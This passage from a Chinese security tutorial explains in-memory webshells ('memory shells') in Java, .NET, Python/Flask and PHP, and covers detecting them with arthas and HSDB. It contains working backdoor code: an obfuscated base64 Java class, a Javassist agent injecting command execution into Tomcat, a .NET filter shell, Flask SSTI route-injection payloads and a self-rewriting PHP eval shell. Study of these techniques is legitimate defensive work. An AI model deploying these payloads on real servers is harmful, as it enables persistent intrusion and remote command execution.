zdGVtAQAWKEkpTGphdmEvbGFuZy9JbnRlZ2VyOwoA1wBICgBOAL4BACcoW0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABVnZXRDb250ZXh0Q2xhc3NMb2FkZXIKAAkAGQoAJQB0DADKAB0HAH4BAB1qYXZhL2xhbmcvcmVmbGVjdC9Db25zdHJ1Y3RvcgoAKwDQAQAJZ2V0UGFyZW50DAChAHwBAAZkZWxldGUKAE8AdwEABCgpW0MBAAdyZXBsYWNlCgCtAHoMACcASwEAA3NldAEADVN0YWNrTWFwVGFibGUBAARDb2RlCgACAH0KAC4AXgwAFQA/DAA9AEoKACUA0QcAVQEAD2phdmEvbGFuZy9DbGFzcwwAPQBaCgAlAMMMAEkAOgwAlwCUCgBPAHAMAGcAjgwAgQBBAQAUKClMamF2YS9sYW5nL1RocmVhZDsBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwwAPQBTAQACW0MBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAZpbnZva2UMAFAAgAwAsQB/CgByAJYBABYoSUkpTGphdmEvbGFuZy9TdHJpbmc7CgACAHkMANkAgAEACXN1YnN0cmluZwwAxgBFBwClAQAGZXhpc3RzDABkAFIBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAFihDQylMamF2YS9sYW5nL1N0cmluZzsKAC4AkgwAWwAdCgACAMwMAGIAHQEADGphdmEvaW8vRmlsZQEAFShMamF2YS9sYW5nL09iamVjdDspWgwARwBCDACgANoBAANhZGQKAE8AIgEAECgpTGphdmEvbmV0L1VSTDsHADwBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBABBqYXZhL2xhbmcvU3RyaW5nAQANZ2V0U3VwZXJjbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsHANsBAAtnZXRQcm9wZXJ0eQEAC25ld0luc3RhbmNlAQABYQEAB3ZhbHVlT2YMACgAUgEAIGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uBwDHAQATW0xqYXZhL2xhbmcvU3RyaW5nOwwAtADSCgDeALMBABUoSSlMamF2YS9sYW5nL09iamVjdDsMACkAuwoA1wAZBwAtAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwEAE2phdmEvdXRpbC9BcnJheUxpc3QBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgEACHRvU3RyaW5nBwDUDAA4AEMBAA1zZXRBY2Nlc3NpYmxlDAAkAK4MAIgAhQEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAC3RvQ2hhckFycmF5AQADZ2V0DAC5AI0BABFMamF2YS9sYW5nL0NsYXNzOwoAAgC2CgAlAKQMAKMAVgEADWdldFBhcmVudEZpbGUKAAkAyQEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkDAC/AC8MAD0AxAEAIyhMamF2YS9pby9GaWxlO0xqYXZhL2xhbmcvU3RyaW5nOylWAQADKClWAQAQZ2V0RGVjbGFyZWRGaWVsZAEAHmphdmEvbGFuZy9Ob1N1Y2hGaWVsZEV4Y2VwdGlvbgoA3gCJDAAjAJsBABRnZXRTeXN0ZW1DbGFzc0xvYWRlcgoALgC1DAAMAD8BAAV0b1VSTAEAClNvdXJjZUZpbGUKACUAjAwAMgB7DAAfAFIBAAQoWilWBwCnAQAUamF2YS9pby9TZXJpYWxpemFibGUMAIsAUgEACDxjbGluaXQ+BwANCgDeAIIBAAlnZXRNZXRob2QBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEADGphdmEvbmV0L1VSSQEAJyhMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspVgoABgC6BwBzBwDgAQAPT3ZlcmJyaWxsaWFudGx5ACEA3wDXAAAAAgAJAKIAHgAAAAkADwAeAAAAAgABAD0AxQABAGwAAAARAAEAAQAAAAUqtwCssQAAAAAACADWAMUAAQBsAAAL7QAIADAAAAa4ECu9AAI6BgM2BBIBWU62AJE2BRAYPQI8hAEBLRtZHGC2ALwCpwBgGQZfFQSEBAFfUxscYFk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";
首先将这串base64串转换成class文件,然后根据类名,在IDEA中粘成一个新的java文件,更改java文件中的报错(有一行return报错),分析一下代码结构,由于采用的是Java label跳出循环的方式,那么此处改为break label174。这样java文件不再报错,可以正常执行。
具体看一下样本,laabel169代表的循环,将截取后的字符串转成数组,将数组的每一位和长度为7的key进行异或。var72
是异或后得到的字符串。即将截取的*"H"6)/Yk0$'vwSm44-$&
转换成java.util.Base64$Decoder
。关于异或加密XOR的内容可以看:http://www.ruanyifeng.com/blog/2017/05/xor.html
switch会判断字符串是否完成全部的遍历,如果完成全部的遍历,开始Filter的反射加载流程。
Java内存马自动化生成工具可以用:https://github.com/pen4uin/java-memshell-generator
Agent内存马
Java Agent 是一种在 JVM 启动时或运行时动态加载的工具,允许开发者在不修改源代码的情况下,对 Java 应用程序的字节码进行操作。Java Agent 通常在应用启动时通过命令行参数指定,或在运行时动态加载。Java Agent的核心是Instrumentation,它是Java提供的接口(从Java SE 5开始引入),允许代理程序(Agent)在类加载时或运行时修改、监控、或者增强字节码。
java.lang.instrument包结构如下
java.lang.instrument
- ClassDefinition
- ClassFileTransformer
- IllegalClassFormatException
- Instrumentation
- UnmodifiableClassException
Agent 加载方式
Agent的加载可以是在JVM启动的时候,也可以是运行的时候。两种方法入口函数不同。
// 启动时加载
public static void premain(String agentArgs, Instrumentation inst);
public static void premain(String agentArgs);
// 运行时加载
public static void agentmain(String agentArgs, Instrumentation inst);
public static void agentmain(String agentArgs);
无论是这两种哪个Agent,都需要打成一个jar包,在ManiFest属性中指定Premain-Class
或者Agent-Class
。打成jar包后需要挂在到目标JVM上,如果是启动时加载就是-javaagent:[=]
,如果是运行时挂载,就需要做一些额外的开发。
而 Instrumentation 则通过 premain
或 agentmain
方法将要修改的字节码传递给代理程序Agent。
既然可以动态的修改某一个类的代码,那么对于Tomcat这些中间件应该改什么类呢?网上流传的是internalDoFilter,但是它是tomcat中的类,只适用于tomcat。后来冰蝎内置的内存马是写在了HttpServlet的service方法中,由于是JavaEE规范,相对来讲,能适用于更多的中间件。对应的Agent代码如下
import java.lang.instrument.*;
import javassist.*;
import java.io.IOException;
import java.security.ProtectionDomain;
public class MyAgent implements ClassFileTransformer {
public static String ClassName = "org.apache.catalina.core.ApplicationFilterChain";
// 字节码转换逻辑实现
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> aClass, ProtectionDomain protectionDomain, byte[] classfileBuffer) {
// 将className格式化为标准格式
className = className.replace('/', '.');
if (className.equals(ClassName)) {
ClassPool cp = ClassPool.getDefault();
if (aClass != null) {
ClassClassPath classPath = new ClassClassPath(aClass);
cp.insertClassPath(classPath);
}
try {
// 获取Class对象并对其修改
CtClass cc = cp.get(className);
CtMethod m = cc.getDeclaredMethod("doFilter");
// 在 doFilter 方法的前面插入自定义代码
m.insertBefore("javax.servlet.ServletRequest req = request;\n" +
"javax.servlet.ServletResponse res = response;" +
"String cmd = req.getParameter(\"cmd\");\n" +
"if (cmd != null) {\n" +
"Process process = Runtime.getRuntime().exec(cmd);\n" +
"java.io.BufferedReader bufferedReader = new java.io.BufferedReader(\n" +
"new java.io.InputStreamReader(process.getInputStream()));\n" +
"StringBuilder stringBuilder = new StringBuilder();\n" +
"String line;\n" +
"while ((line = bufferedReader.readLine()) != null) {\n" +
"stringBuilder.append(line + '\\n');\n" +
"}\n" +
"res.getOutputStream().write(stringBuilder.toString().getBytes());\n" +
"res.getOutputStream().flush();\n" +
"res.getOutputStream().close();\n}");
byte[] byteCode = cc.toBytecode();
cc.detach();
return byteCode;
} catch (IOException | CannotCompileException | NotFoundException e) {
e.printStackTrace();
}
}
return new byte[0];
}
// JVM 启动时调用的 premain 方法
public static void premain(String args, Instrumentation inst) throws Exception {
System.out.println("Java Agent premain is running...");
inst.addTransformer(new MyAgent(), true);
}
// 动态加载时调用的 agentmain 方法
public static void agentmain(String args, Instrumentation inst) throws Exception {
System.out.println("Java Agent agentmain is running...");
inst.addTransformer(new MyAgent(), true);
// 获取所有已加载的类
Class[] loadedClasses = inst.getAllLoadedClasses();
for (Class clazz : loadedClasses) {
// 如果目标类已经加载,重新转换它
if (clazz.getName().equals(ClassName)) {
try {
inst.retransformClasses(clazz);
} catch (Exception e) {
e.printStackTrace();
}
}
}
}
}
然后将这个Agent打包成jar文件。然后Attach操作,挂载到目标JVM上,执行加载Agent。具体的代码看:GitHub - ax1sX/MemShell: MemShell List
这里要对Agent内存马持久化补充一点。ShutdownHook也叫钩子函数,它允许开发人员插入JVM关闭时执行的一段代码。示例如下:
public class Hook {
public static void main(String[] args) throws Exception{
Runtime.getRuntime().addShutdownHook(new Thread() {
@Override
public void run() {
System.out.println("hook");
}
});
System.out.println("public main over");
}
}
main方法执行结束后会执行hook,所以rebeyond利用这种方式在服务器运行结束后,将inject.jar
和agent.jar
写到磁盘上,然后调用startInject
方法执行java -jar inject.jar
,来解决一般内存马在服务器重启后不存在的情况,但是实战中一般要求木马可清楚,这种方式慎用。
public static void persist() {
try {
Thread t = new Thread() {
public void run() {
try {
writeFiles("inject.jar",Agent.injectFileBytes);
writeFiles("agent.jar",Agent.agentFileBytes);
startInject();
} catch (Exception e) {
}
}
};
t.setName("shutdown Thread");
Runtime.getRuntime().addShutdownHook(t);
} catch (Throwable t) {
}
Agent内存马查杀
很多防守方都问过一个问题,如何找到内存马?内存马存在于内存中,那么就需要从JVM中查找相应的Class。有两种常用的方式
(1)arthas
arthas是阿里开发的开源工具,链接:GitHub - alibaba/arthas: Alibaba Java Diagnostic Tool Arthas/Alibaba Java诊断利器Arthas
使用的话直接下载arthas-boot.jar即可:https://arthas.aliyun.com/arthas-boot.jar
可以在JDK6以上运行,主要功能包括:检查一个类是否被加载,或者类被加载到哪里(对于解决 jar 文件冲突很有用)、反编译一个类以确保代码按预期运行等。这两个功能对于内存马的查找很有意义。比如上述Agent内存马的注入选取了org.apache.catalina.core.ApplicationFilterChain
类,那么可以通过arthas直接查看这个类的反编译结果是否包含恶意代码
arthas使用如下
java -jar arthas-boot.jar
启动工具后,根据显示出的线程,选取对应要查看的。
然后输入要查看的类名
[arthas@4035]$ sc org.apache.catalina.core.ApplicationFilterChain
[arthas@4035]$ jad org.apache.catalina.core.ApplicationFilterChain
输入sc ${需要检索的类名}
查看相关的类名,输入jad ${包名}
,反编译class源码,可以看到此时的doFilter包含了恶意代码
如果想要下载Class文件,命令如下,然后jd-gui打开即可。
[arthas@4035]$ dump org.apache.catalina.core.ApplicationFilterChain
(2)HSDB(sa-jdi.jar)
HSDB(Hotspot Debugger),是一款内置于sa-jdi.jar
中的 GUI 调试工具,可用于调试 JVM 运行时数据,从而进行故障排除。以下三种开启方式都可以。
sudo /Library/Java/JavaVirtualMachines/jdk1.8.0_261.jdk/Contents/Home/bin/java -cp /Library/Java/JavaVirtualMachines/jdk1.8.0_261.jdk/Contents/Home/lib/sa-jdi.jar sun.jvm.hotspot.HSDB
sudo java -cp ,:/Library/Java/JavaVirtualMachines/jdk1.8.0_261.jdk/Contents/Home/lib/sa-jdi.jar sun.jvm.hotspot.HSDB
sudo java -cp $JAVA_HOME/lib/sa-jdi.jar sun.jvm.hotspot.HSDB
选择file->Attach to Hotspot process ,然后输入process ID去Attach进程。但是Mac环境下可能出现Attach不成功的情况。
.NET内存马
.NET MVC内存马
.net处理请求与Java很类似,最早用aspx也看来处理请求(类似java中的jsp),后来发展到MVC开发框架,用Controller处理请求。创建一个ASP.NET Web Application。会发现程序默认注册了一个全局的Filter。关于.net Filter可以查看官方文档:Filters in ASP.NET Core | Microsoft Learn
官方文档中提到,最先执行的是Authorization filters。那么为了保证内存马的优先级,可以制作实现IAuthorizationFilter接口的Filter。该接口只有一个方法OnAuthorization。
<%@ Page Language="c#"%>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.Reflection" %>
<%@ Import Namespace="System.Web.Mvc" %>
<script runat="server">
public class MyAuthFilter : IAuthorizationFilter
{
public void OnAuthorization(AuthorizationContext filterContext)
{
String cmd = filterContext.HttpContext.Request.QueryString["cmd"];
if (cmd != null)
{
HttpResponseBase response = filterContext.HttpContext.Response;
Process p = new Process();
p.StartInfo.FileName = cmd;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardError = true;
p.Start();
byte[] data = Encoding.UTF8.GetBytes(p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd());
response.Write(System.Text.Encoding.Default.GetString(data));
}
Console.WriteLine("auth filter inject");
}
}
</script>
<%
GlobalFilterCollection globalFilterCollection = GlobalFilters.Filters;
globalFilterCollection.Add(new MyAuthFilter(), -2);
%>
在添加Filter时,设置了参数-2。这个参数代表order。默认的filter order是-1,order数值越小,优先级越高。所以为了提高内存马在系统中的优先级,这里设置-2。
除了MVC内存马,.net常见内存马还包含:HttpListener内存马、VirtualPath内存马、Route内存马
java web三大组件,servlet、filter、listener。在.net中也有一个listener被应用—HttpListener,微软官方对它的介绍:可以用这个类创建一个简单的HTTP协议侦听器来响应 HTTP 请求。其他的也可以看yzddmr6的博客,里面对.net的几个内存马有详细的介绍:
https://yzddmr6.com/posts/asp-net-memory-shell-httplistener/
Python内存马
现在网上常见的Python内存马都是针对Flask框架的。Flask框架下的SSTI漏洞demo如下
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/')
def hello():
person = 'axisx'
if request.args.get('name'):
person = request.args.get('name')
template = '<h1>Hi, %s.</h1>' % person
return render_template_string(template)
if __name__ == '__main__':
app.run()
Flask默认采用Jinja2作为模版引擎。而Jinja2会把一些传入的参数当作代码执行。常见的payload都用到了python的内置类属性。这是Python实现反射和动态编程的接口,允许在运行时检查和修改对象。常见的内置类属性如下
['__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__']
内置类属性本身实现了反射的特性,也就是可以调用各个类中的方法。那么就需要找到python内置的一些能够实现文件读写的方法。常见的构造如下。例如用os的popen类
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}
反射先要获取到相应的类,这里"".__class__.__bases__
通过自带的str类来获取基类Object类。然后获取Object类所有的子类列表,即python的内置类。再通过索引位置(很多文章中写的128,但是需要实际根据主机情况去更改这个索引号)获取相应的类。.__init__获取构造函数,.__globals__获取函数所在的全局命名空间(包含了类中的变量和方法)。能获取的类和方法很多,还有各种绕过沙盒限制的方式,这里就不再多说。Ps:__builtins__可以查找
所有内置函数的名称。
回到内存马,核心是要向一个可访问的路由下写入一段恶意代码。此时我们已经实现了在Flask SSTi模版场景下实现恶意代码的构造,但是这个代码并没有实现持久化,需要伴随着每次SSTI的访问来攻击。例如在当前的py文件下插入如下恶意代码
@app.route('/e')
def e():
os.system(request.args.get('cmd'))
flask有两种方式来生成路由,一种是@app.route(),一种是url_for()
@app.route实际调用的方法是add_url_rule()。另外需要说明,添加路由的方式不止这一种,常见的还包括:url_map.add()等
flask视图生成函数url_for,demo如下
@app.route('/url')
def url():
# return redirect(url_for('url_f')) # 返回url_for success!
return url_for('url_f') # 返回/u
@app.route('/u')
def url_f():
return 'url_for success!'
这个url_for函数中有个全局变量current_app。这个全局变量的获取方法是:{{url_for.__globals__['current_app'].__dict__}}
利用url_for执行恶意poc
{{url_for.__globals__['__builtins__']['eval']("__import__('os').system('open -a Calculator')")}}
网上常见的内存马poc如下
{{url_for.__globals__['__builtins__']['eval'](
"app.add_url_rule(
'/shell',
'shell',
lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read()
)",
{
'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],
'app':url_for.__globals__['current_app']
}
)}}
上面这个lambda转成python函数大概长这样:
def shell():
# 获取 cmd 参数值,如果没有则默认为 'whoami'
cmd = _request_ctx_stack.top.request.args.get('cmd', 'whoami')
result = os.popen(cmd).read()
return result
用flask版本3.0.1在执行网上的内存马时会报如下错误
AssertionError: The setup method 'add_url_rule' can no longer be called on the application. It has already handled its first request, any changes will not be applied consistently.
根据调用栈的报错位置,定位如下。由于_got_first_request为True所以报了错
利用{{url_for.__globals__[%27current_app%27].__dict__}}查看当前Flask应用实例(current_app)所有的属性和值,包括了注册的路由函数、应用配置等信息。可以看到_got_first_request确实为True
所以后续针对较新版本的flask有改这个属性值的方式,还有利用其他路由注册函数的,例如before_request、after_request等。
这些都是flask框架下的内存马,基于Tornado、Django框架的内存马可以参考:Python Web 内存马多框架植入技术详解 | 天工实验室
PHP内存马
PHP内存马常见的有两种,一种是不死马,另一种是Fastcgi马。前者写一个死循环占据一个PHP进程,不间断的写入PHPShell。
不死马如下。PHP在执行脚本时会先将整个文件加载到内存,所以代码中在循环前执行了unlink(__FILE__)删除了文件。但循环会继续执行,不断在服务器上创建或覆盖一个config.php
文件,并向其中写入恶意代码。
<?php
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__);
while (1) {
$content = '<?php @eval($_POST["cmd"]) ?>';
file_put_contents("config.php", $content);
usleep(10000);
}
?>
Fastcgi的基础知识如下。PHP请求处理的大致流程:
http请求 -> 服务器 -> nginx/apache -> 静态资源/动态资源 -> 动态资源用fastcgi协议 -> php-fpm处理请求
每当用户请求PHP页面时,Web服务器会启动一个单独的PHP CGI进程来处理这个请求,处理完成后进程关闭。这与将PHP作为Web服务器模块(如Apache中的mod_php)直接集成的模式不同。CGI(Common Gateway Interface,公共网关接口)是一种与语言无关的协议,可以在不同的服务器和操作系统之间提供兼容性,规范了传递给后方的数据格式。使用PHP CGI模式可以将PHP进程与Web服务器进程隔离。这些PHP进程由进程管理器(如php-fpm)来管理,它可以控制PHP进程的数量和资源分配。PHP CGI还支持FastCGI协议,这是CGI的增强版,提供了对PHP进程复用的支持。
FastCGI的特性之一就是可以通过环境变量将参数传递给PHP进程。但是如果利用环境变量修改了PHP配置选析那个,从而更改PHP的安全设置或者执行恶意的代码。
具体的FastCGI马方式参考:https://github.com/wofeiwo/webcgi-exploits/blob/master/php/Fastcgi/php-fpm-memory-shell.md